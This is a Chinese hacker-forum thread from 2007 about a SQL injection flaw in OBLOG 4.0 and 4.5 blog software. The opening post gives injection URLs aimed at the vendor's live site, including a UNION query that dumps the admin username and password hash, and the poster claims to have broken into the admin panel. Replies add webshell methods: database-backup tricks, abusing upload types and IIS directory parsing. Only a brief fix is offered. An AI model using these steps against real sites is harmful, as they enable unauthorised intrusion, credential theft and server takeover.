27 12
发新话题
打印

[原创]OBLOG通杀4.0及4.5漏洞解析

[原创]OBLOG通杀4.0及4.5漏洞解析

文章作者:神無月 & 落叶纷飞[S.S.T]
信息来源:邪恶八进制信息安全团队(www.eviloctal.com

不废话话了OBLOG4.0跟最新的OBLOG4.5通杀。
漏洞文件:js.asp
看代码
复制内容到剪贴板
代码:
<!--#include file="conn.asp"-->
<!--#include file="inc/class_sys.asp"-->
<%
Dim oblog
set oblog=new class_sys
oblog.autoupdate=False
oblog.start
dim js_blogurl,n
js_blogurl=Trim(oblog.CacheConfig(3))
n=CInt(Request("n"))
if n=0 then n=1
select case CInt(Request("j"))
case 1
call tongji()
case 2
call topuser()
case 3
call adduser()
case 4
call listclass()
case 5
call showusertype()
case 6
call listbestblog()
case 7
call showlogin()
case 8
call showplace()
case 9
call showphoto()
case 10
call showblogstars()
Case 11
Call show_hotblog()
Case 12
Call show_teams()
Case 13
Call show_posts()
Case 14
Call show_hottag()
case 0
call showlog()
end select
****************省略部分代码******************
Sub show_posts()
Dim teamid,postnum,l,u,t
teamid=Request("tid")
postnum=n
l=CInt(Request("l"))
u=CInt(Request("u"))
t=CInt(Request("t"))
Dim rs,sql,sRet,sAddon
Sql="select Top " & postnum & " teamid,postid,topic,addtime,author,userid From oblog_teampost Where idepth=0 and isdel=0 "
If teamid<>"" And teamid<>"0" Then
  teamid=Replace(teamid,"|",",")
  Sql=Sql & " And teamid In (" & teamid & ") "
End If
Sql=Sql & " Order by postid Desc"
Set rs=oblog.Execute(Sql)
sRet="<ul>"
Do While Not rs.Eof
  sAddon=""
  sRet=sRet & "<li><a href="""&js_blogurl&"group.asp?gid=" & rs(0) & "&pid=" & rs(1) & """ target=""_blank"">" & oblog.Filt_html(Left(rs(2),l)) & "</a>"
  If u=1 Then sAddon=rs(4)
  if t=1 Then
   If sAddon<>"" Then sAddon=sAddon & ","
   sAddon=sAddon & rs(3)
  End If
  If sAddon<>"" Then sAddon="(" & sAddon & ")"
  sRet=sRet & sAddon & "</li>"
  rs.Movenext
Loop
Set rs = Nothing
sRet=sRet & "</ul>"
Response.write oblog.htm2js (sRet,True)
End Sub
很明显就看到TID没有经过过滤就直接递交给TEAMID了 TEAMID只过滤了"|" 就直接进SQL语句了,对我们的注入没多大影响.
下面拿官方来测试.
http://www.oblog.com.cn/index.html

直接进入js.asp页 要调用show_posts()过程必须要符合上面的参数n=1,j=13
懂ASP的就很容易看懂了,开始注咯,要注意的只是(" & teamid & ")两边的括号
很容易就能闭合他协调回SQL语句了,下面就开始测试注入是否存在了
提交
复制内容到剪贴板
代码:
http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1

这图比较怪.呵呵.接着加个单引号试试.

接着提交
复制内容到剪贴板
代码:
http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1) and 1=1 and (1=1
返回正常
复制内容到剪贴板
代码:
http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1) and 1=1 and (1=2
返回异常

仔细看就能看出 异常的时候没有黑点的.真骚
下面就可以猜管理员表了
复制内容到剪贴板
代码:
http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1) and 查询语句 and (1=1
自己慢慢猜就可以了
复制内容到剪贴板
代码:
Sql="select Top " & postnum & " teamid,postid,topic,addtime,author,userid From oblog_teampost Where idepth=0 and isdel=0 "
后面我发现可以直接用UNION暴帐号密码,下面就来试试
先看看他的SQL语句有几个字段, 一共SELECT了6个 那么提交
复制内容到剪贴板
代码:
http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1) and 1=2 union select 1,2,3,4,5,6 from oblog_admin where id=(1
怎么没有像其他UNION查询的回显数字呢? 其实一切就在源文件里
打开源文件就能发现
复制内容到剪贴板
代码:
document.write(&#39;<ul><li><a href="http://www.oblog.com.cn/group.asp?gid=1&pid=2" target="_blank"></a></li></ul>&#39;);
gid=1跟pid=2里的1,2就是了 直接替换里面的1,2为username,password

提交
复制内容到剪贴板
代码:
http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1) and 1=2 union select username,password,3,4,5,6 from oblog_admin where id=(1
查看源文件,gid后面的就是管理员帐号 pid后面的就是管理员的MD5密码了

官方的密码我已经破了 直接冲进后台
WEBSHELL因为官方权限太死跟本人太菜 所以就拿不到SHELL
拿WEBSHELL的方法很简单 我改天做个录象顺便发上来
OBLOG的漏洞还不止这些的,大家慢慢研究研究吧.

漏洞修补:
复制内容到剪贴板
代码:
......
teamid=int(teamid)
......

TOP

密码是md5加密的吗?

TOP

后台拿SHELL的方法:
MSSQL就直接靠注入差异备份,LOG备份
ACC的话 我就口述一下方法咯
首先自己下同一个版本的OBLOG,用明小子打开里面的OBLOG.MDB,删掉防下载表
随便在一个表里插一句马,然后进目标站后台添加MDB上传类型,上传你刚刚那个处理过的MBD
然后恢复数据库(填你刚刚上传后的MDB地址) 然后备份就能拿到ASA的一句话了,说得太简陋了
听不懂再聊
还有一个就是2003系统的话 添加用户目录为*.ASP他会自动创建该目录 下面的就不用说了

TOP

by:Neeao

这两天出去玩了,刚回来就看到了这个漏洞,
主要还是变量没过滤引起的,漏洞原理就不说了,因为所在公司也是用的这个blog,就修补了下!
把我的修补方法公布一下,朋友们也可以参考下。
搜索:teamid=Request(”tid”)这个,将这个替换为:
teamid=Replace(Replace(request("tid"),"&#39;",""),")",""),
就是将一些危险字符过滤下就ok了!
注意一下,下面的这段代码:
teamid=Replace(teamid,”|”,”,”)
是将多个tid通过“|”链接起来,然后在这里还原为用“,”链接,以便下面的sql语句中直接使用:
If teamid<>“” And teamid<>“0″ Then
teamid=Replace(teamid,”|”,”,”)
Sql=Sql & ” And teamid In (” & teamid & “) ”
End If
zaizai.7blog.net/

TOP

引用:
引用第13楼神無月于2007-04-23 11:26发表的 :
后台拿SHELL的方法:
MSSQL就直接靠注入差异备份,LOG备份
ACC的话 我就口述一下方法咯
首先自己下同一个版本的OBLOG,用明小子打开里面的OBLOG.MDB,删掉防下载表
随便在一个表里插一句马,然后进目标站后台添加MDB上传类型,上传你刚刚那个处理过的MBD
.......
MSSQL就直接靠注入差异备份,LOG备份

mssql不安装在默认路径你怎么办?安装在默认路径不知道网站绝对路径你怎么办?
删除防下载表,大哥你能说全吗?你在这装B行不?
还有你说的2003添加一个.asp目录,是啊,是创建成功了,你知道用户图片都传哪了吗?
求你了,不要再装B了,不懂就说出来,没人会笑话你~~
尽扯这些没用的东西~~

肯请其他人指点一下思路~~

TOP

如果服务器支持php的话 可以添加上传类型为php 然后直接传php拿shell
许多同学反映找不到修改上传类型  在这里 管理用户等级--修改

TOP

引用:
引用第19楼nzku于2007-04-23 19:24发表的 :



MSSQL就直接靠注入差异备份,LOG备份

.......
我没弄过提权,不过你既然可以建立目录,应该知道在哪传图片吧/?上传一个看下塞,直接打开看能解析不?我没看过那程序的上传模块,所以只能这样建议,你自己试下!
成功的男人白天瞎JB忙,晚上JB瞎忙;失败的男人白天没啥鸟事,晚上鸟没啥事。

TOP

引用:
引用第19楼nzku于2007-04-23 19:24发表的 :



MSSQL就直接靠注入差异备份,LOG备份

.......
这位“牛人”你没测试过就不要像这疯狗一样骂人说人装B

* .asp目录的方法我粗略看过 貌似图片是传不到ASP目录的 因为我没测试过 就理论上说应该成立而已,抱歉了

但是你说“mssql不安装在默认路径你怎么办?安装在默认路径不知道网站绝对路径你怎么办?
删除防下载表,大哥你能说全吗?你在这装B行不?”
我真听不懂你丫是说什么  MSSQL默认路径?跟备份没关系吧?
网站路径?你丫是MSSQL的注入的话不会暴路径吗?对你这个牛人来说暴个路径应该不难吧?
好。就算你不会暴路径,OBLOG的后台里的显示服务器配置那 没瞎的话你应该能看到WEB路径了吧?

对于文章的来源我也不想多说 爱信原创就信不信就拉倒 公道自在人心 清者自清 严重BS剽窃

TOP

   总之网站支持ASA,我一般都能拿到SHELL,你应该是听不懂我拿SHELL的方法吧
官方的UPFILELOAD目录不支持ASA而已 不然我早就拿到SHELL了

TOP

汗!楼上的。。别和他们计较 ,和气点。他官方目录还禁止进行可执行文件(比如asp,php,jsp,cer,asa,htr,),总之不能执行脚本!换个思路吧,我上次进去就郁闷的了。
成功的男人白天瞎JB忙,晚上JB瞎忙;失败的男人白天没啥鸟事,晚上鸟没啥事。

TOP

  ASP目录拿SHELL的方法我也看了

是可以的  在-网站信息配置-系统参数-上传目录那 把目录设置为空
创建一个*.ASP的用户目录 然后就是上传一个ASP马的图片 上传后就进manager后台看上传清单
就可以了
我测试的机器不是2003所以不是显示马儿了

TOP

提示: 作者被禁止或删除 内容自动屏蔽

TOP

OBLOG3的话JS.ASP没有那个show_posts()过程的 应该没洞. 呵呵

TOP

网站信息配置-里的系统参数找不到啊 .

TOP

  貌似4.5才有那参数

TOP

引用:
引用第25楼神無月于2007-04-24 12:13发表的 :
  ASP目录拿SHELL的方法我也看了

是可以的  在-网站信息配置-系统参数-上传目录那 把目录设置为空
创建一个*.ASP的用户目录 然后就是上传一个ASP马的图片 上传后就进manager后台看上传清单
就可以了
.......
我试了一下,目录不能设置为空啊..设为空就不能注册了...如果直接修改*.asp的用户目录为空.就保存失败....下一个数据库.去掉防下载.加入一句话.大小有2点几M.后台修改上传文件的大小,上传两次都失败.放弃...试了几个站上传PHP都不能用.放弃.....不知道还有没有别的办法

TOP

提示: 作者被禁止或删除 内容自动屏蔽

TOP

就是说4.02版的根本就没有"系统参数",谁能指点一下
以这里为荣,踏实学习!

TOP

今天得到后台实验拿webshell,经过总结和自己心的,整理了一下


MSSQL就直接靠注入差异备份,LOG备份
AC:
首先自己下同一个版本的OBLOG,用明小子打开里面的OBLOG.MDB,删掉防下载表
随便在一个表里插一句马,然后进目标站后台添加MDB上传类型,上传你刚刚那个处理过的MBD
然后恢复数据库(填你刚刚上传后的MDB地址) 然后备份就能拿到ASA的一句话了


如果是3.x
后台填加 gif|jpg|png|bmp|rar|zip|swf|doc|aaaspspaspsp
目录限制执行脚本,改上传文件夹为inc
顺利拿到shell

如果是4.0
管理用户等级--修改
可以添加上传类型为php 然后直接传php拿shell

用户目录管理 改成rrr.asp,然后发表日志,切换到html编辑模式得到
/oblog4/rrr.asp/rrrr/archives/2007/6.html  直接写一句话网马即可


如果是4.5,可以 ASP目录拿SHELL
可以的 在-网站信息配置-系统参数-上传目录那 把目录设置为空
创建一个*.ASP的用户目录 然后就是上传一个ASP马的图片 上传后就进manager后台看上传清单

TOP

楼上的,并不是所有的3.X都可以那样上传:
我遇到一个oblog3.12-20060403 SQL版的,后台拿到了,但不知道如何上传拿webshell,首先申明备份不成功,好像对backup函数据进行了限制了吧,具体也不清楚,反正只要提交backup就返回"不支持该属性"的信息,也就说明备份不成功了。我通读了上传源码,对于后台的设置的上传类型没有进行任何过滤,而是进行如下过滤的:

上传文件时先取得上传文件的后缀名,然后用如下函数对该后缀名进行过滤检查:

    Private Function FixName(Byval UpFileExt)
        If IsEmpty(UpFileExt) Then Exit Function
        FixName = Lcase(UpFileExt)
        FixName = Replace(FixName,Chr(0),"")
        FixName = Replace(FixName,".","")
        FixName = Replace(FixName,"&#39;","")
        FixName = Replace(FixName,"asp","_")
        FixName = Replace(FixName,"asa","_")
        FixName = Replace(FixName,"aspx","_")
        FixName = Replace(FixName,"cer","_")
        FixName = Replace(FixName,"cdx","_")
        FixName = Replace(FixName,"htr","_")
        FixName = Replace(FixName,"shtm","_")
        FixName = Replace(FixName,"shtml","_")
        FixName = Replace(FixName,"php","_")
        FixName = Replace(FixName,"php3","_")
        FixName = Replace(FixName,"jsp","_")
    End Function

然后将过滤的的文件后缀名再放到下面函数里进行第二次检查,当CheckFileExt返回true时文件才被上传:

    Private Function CheckFileExt(FileExt)
        Dim Forumupload,i
        CheckFileExt=False
        If FileExt="" or IsEmpty(FileExt) Then
            CheckFileExt = False
            Exit Function
        End If
        Select Case LCase(FileExt)
                Case "asp","asa","aspx","shtm","shtml","php","php3","jsp"
                    CheckFileExt = False
                    Exit Function
                Case else
        End Select
        Forumupload = Split(InceptFile,",")
        For i = 0 To ubound(Forumupload)
            If FileExt = Trim(Forumupload(i)) Then
                CheckFileExt = True
                Exit Function
            Else
                CheckFileExt = False
            End If
        Next
    End Function

其中InceptFile的值为你在后台添加的上传类型(在后台里设置的是什么,这里就是什么,没有进行过滤),这个版本没有对这个参数进行任何过滤,只有在CheckFileExt函数里的CheckFileExt 返回true时文件才会被上传,虽然没有对InceptFile进行过滤,但经过上面两个函数的过滤,你已没有任何可乘之机了,不过倒是可以上传ascs等其它类型的文件,另外这个版本的文件上传目录统一为UploadFiles,好像不可以更改上传目录了,在conifg.asp里有如下设置:

const upload_dir="UploadFiles"  &#39;默认上传目录,为空则使用用户所在目录,若需要修改为其他目录,请手工建目录

而在upload.asp里有如下语句:

if upload_dir<>"" then
    FilePath=upload_dir
  else
    FilePath = oblog.logined_udir&"/"&oblog.logined_ufolder&"/upload"
  end if

从这里可以知道后台的上传目录只能为upload_dir所设置的了。而我遇到的又是该目录下无执行权限的,就算上传了asp,也无法执行,我曾经想通过注册一个name.asp的用户名来生成一个name.asp的文件夹,但最终宣告失败。
后来发现后台整合了一个ewebeditor,上传目录为网站根目录下的upfiles(不知有无执行权限),可惜admin_login.asp被删或是改名(反正没有了),数据库可下载,没什么可利用的上传参数,但我在想,这个ewebeditor和oblog3.12 sql版结合起来是不是有利用的价值?具体不得而知了,还希望高人能交流一下经验。
并非高手

TOP

SQL版本 可以UNION查询出用户名密码
只是update的时候出错,有遇到过类似问题的朋友么?
探讨下.

TOP

引用:
引用第8楼神無月于2007-04-24 11:09发表的 :
   总之网站支持ASA,我一般都能拿到SHELL,你应该是听不懂我拿SHELL的方法吧
官方的UPFILELOAD目录不支持ASA而已 不然我早就拿到SHELL了
asp马不一定要是asp或者asa后缀的吧。如果能弄一个cer或者cdx的上去应该也能当shell
Dreamless world……

TOP

我说的是通过备份拿SHELL OBLOG备份的数据库后缀必须是ASA

TOP

请问一下拿SHELL方法中提到的用明小子打开数据库删掉防下载处理的表??那个表名叫什么??在哪里删除.希望楼主指点一下......望楼主回复..

TOP

现在已经更新到什么版本了.我没有用过OBLOG!安全听说还可以!
再三说到,本人是个小菜,如假包换的小菜.如遇睾丸三蛋以上的男人恶意评论纯属恶意炒作,。 没素质-只因我是流氓 没技术-只因我没文化

TOP

 27 12
发新话题